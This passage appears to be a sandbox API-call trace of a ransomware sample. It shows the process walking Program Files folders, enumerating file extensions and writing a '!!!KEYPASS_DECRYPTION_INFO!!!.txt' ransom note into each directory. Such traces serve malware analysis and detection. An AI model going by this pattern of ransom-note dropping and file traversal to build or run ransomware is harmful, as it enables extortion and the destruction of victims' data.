out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0241.884] WriteFile (in: hFile=0x538, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0241.884] CloseHandle (hObject=0x538) returned 1 [0241.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79458 [0241.887] FindNextFileW (in: hFindFile=0x2e79458, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0241.887] FindNextFileW (in: hFindFile=0x2e79458, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0241.887] FindNextFileW (in: hFindFile=0x2e79458, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned=".mui" [0241.887] FindNextFileW (in: hFindFile=0x2e79458, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned=".mui" [0241.887] FindNextFileW (in: hFindFile=0x2e79458, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned=".mui" [0241.887] FindNextFileW (in: hFindFile=0x2e79458, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned=".mui" [0241.887] FindNextFileW (in: hFindFile=0x2e79458, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui") returned=".mui" [0241.887] FindNextFileW (in: hFindFile=0x2e79458, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0241.887] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadce.dll") returned=".dll" [0241.887] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned=".dll" [0241.887] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll") returned=".dll" [0241.887] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.887] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll") returned=".dll" [0241.887] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.888] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll") returned=".dll" [0241.888] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.888] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll") returned=".dll" [0241.888] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.888] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned=".dll" [0241.888] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.888] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll") returned=".dll" [0241.888] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.888] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned=".dll" [0241.888] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.888] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned=".dll" [0241.888] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.888] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned=".dll" [0241.888] FindNextFileW (in: hFindFile=0x2e78f18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0241.888] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0241.888] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0241.888] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0241.888] GetLastError () returned 0x3f0 [0241.888] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0241.888] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0241.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x54c [0241.889] GetFileType (hFile=0x54c) returned 0x1 [0241.889] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0241.889] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0241.889] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0241.889] WriteFile (in: hFile=0x54c, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0241.890] WriteFile (in: hFile=0x54c, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0241.890] CloseHandle (hObject=0x54c) returned 1 [0241.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79058 [0241.890] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.890] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.890] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0241.890] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0241.890] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0241.890] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0241.890] GetLastError () returned 0x3f0 [0241.890] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0241.890] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0241.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x554 [0242.792] GetFileType (hFile=0x554) returned 0x1 [0242.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0242.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0242.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0242.792] WriteFile (in: hFile=0x554, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0242.793] WriteFile (in: hFile=0x554, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0242.793] CloseHandle (hObject=0x554) returned 1 [0242.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e791d8 [0242.793] FindNextFileW (in: hFindFile=0x2e791d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.793] FindNextFileW (in: hFindFile=0x2e791d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.794] FindNextFileW (in: hFindFile=0x2e791d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned=".mui" [0242.794] FindNextFileW (in: hFindFile=0x2e791d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned=".mui" [0242.794] FindNextFileW (in: hFindFile=0x2e791d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned=".mui" [0242.794] FindNextFileW (in: hFindFile=0x2e791d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned=".mui" [0242.794] FindNextFileW (in: hFindFile=0x2e791d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned=".dll" [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned=".dll" [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned=".dll" [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll") returned=".dll" [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll") returned=".dll" [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll") returned=".dll" [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll") returned=".dll" [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.794] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned=".dll" [0242.794] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned=".inc" [0242.795] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned=".inc" [0242.795] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll") returned=".dll" [0242.795] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned=".rll" [0242.795] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll") returned=".dll" [0242.795] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned=".rll" [0242.795] FindNextFileW (in: hFindFile=0x2e79058, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0242.795] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\wab32.dll") returned=".dll" [0242.795] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\System\\wab32res.dll") returned=".dll" [0242.795] FindNextFileW (in: hFindFile=0xd05a80, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0 [0242.795] FindNextFileW (in: hFindFile=0xcb9a38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0242.795] FindNextFileW (in: hFindFile=0xcb9d78, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0242.795] PathFindExtensionW (pszPath="C:\\Program Files\\desktop.ini") returned=".ini" [0242.795] FindNextFileW (in: hFindFile=0xcb9d78, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0242.795] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0242.795] FindNextFileW (in: hFindFile=0xcb9d78, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0242.795] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0242.795] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.796] GetLastError () returned 0x3f0 [0242.796] PathAppendW (in: pszPath="C:\\Program Files\\Java\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.796] PathFileExistsW (pszPath="C:\\Program Files\\Java\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.796] CreateFileW (lpFileName="C:\\Program Files\\Java\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x558 [0242.796] GetFileType (hFile=0x558) returned 0x1 [0242.796] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0242.796] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0242.796] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0242.796] WriteFile (in: hFile=0x558, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0242.797] WriteFile (in: hFile=0x558, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0242.797] CloseHandle (hObject=0x558) returned 1 [0242.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0x2e79298 [0242.798] FindNextFileW (in: hFindFile=0x2e79298, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0242.798] FindNextFileW (in: hFindFile=0x2e79298, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0242.798] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.798] FindNextFileW (in: hFindFile=0x2e79298, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0242.798] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0242.798] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.798] GetLastError () returned 0x3f0 [0242.798] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.798] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.798] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x55c [0242.799] GetFileType (hFile=0x55c) returned 0x1 [0242.799] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0242.799] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0242.799] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0242.799] WriteFile (in: hFile=0x55c, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0242.800] WriteFile (in: hFile=0x55c, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0242.800] CloseHandle (hObject=0x55c) returned 1 [0242.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0x2e78f58 [0242.801] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0242.801] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0242.801] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.801] FindNextFileW (in: hFindFile=0x2e78f58, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0242.801] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0242.801] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd2e648 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.801] GetLastError () returned 0x3f0 [0242.801] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.801] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.824] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\bin\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x560 [0242.824] GetFileType (hFile=0x560) returned 0x1 [0242.824] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0242.824] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0242.824] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0242.824] WriteFile (in: hFile=0x560, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0242.825] WriteFile (in: hFile=0x560, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0242.825] CloseHandle (hObject=0x560) returned 1 [0242.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79418 [0242.825] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.825] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.825] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.825] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.826] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\awt.dll") returned=".dll" [0242.826] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.826] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\bci.dll") returned=".dll" [0242.826] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.826] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dcpr.dll") returned=".dll" [0242.826] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.826] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\decora_sse.dll") 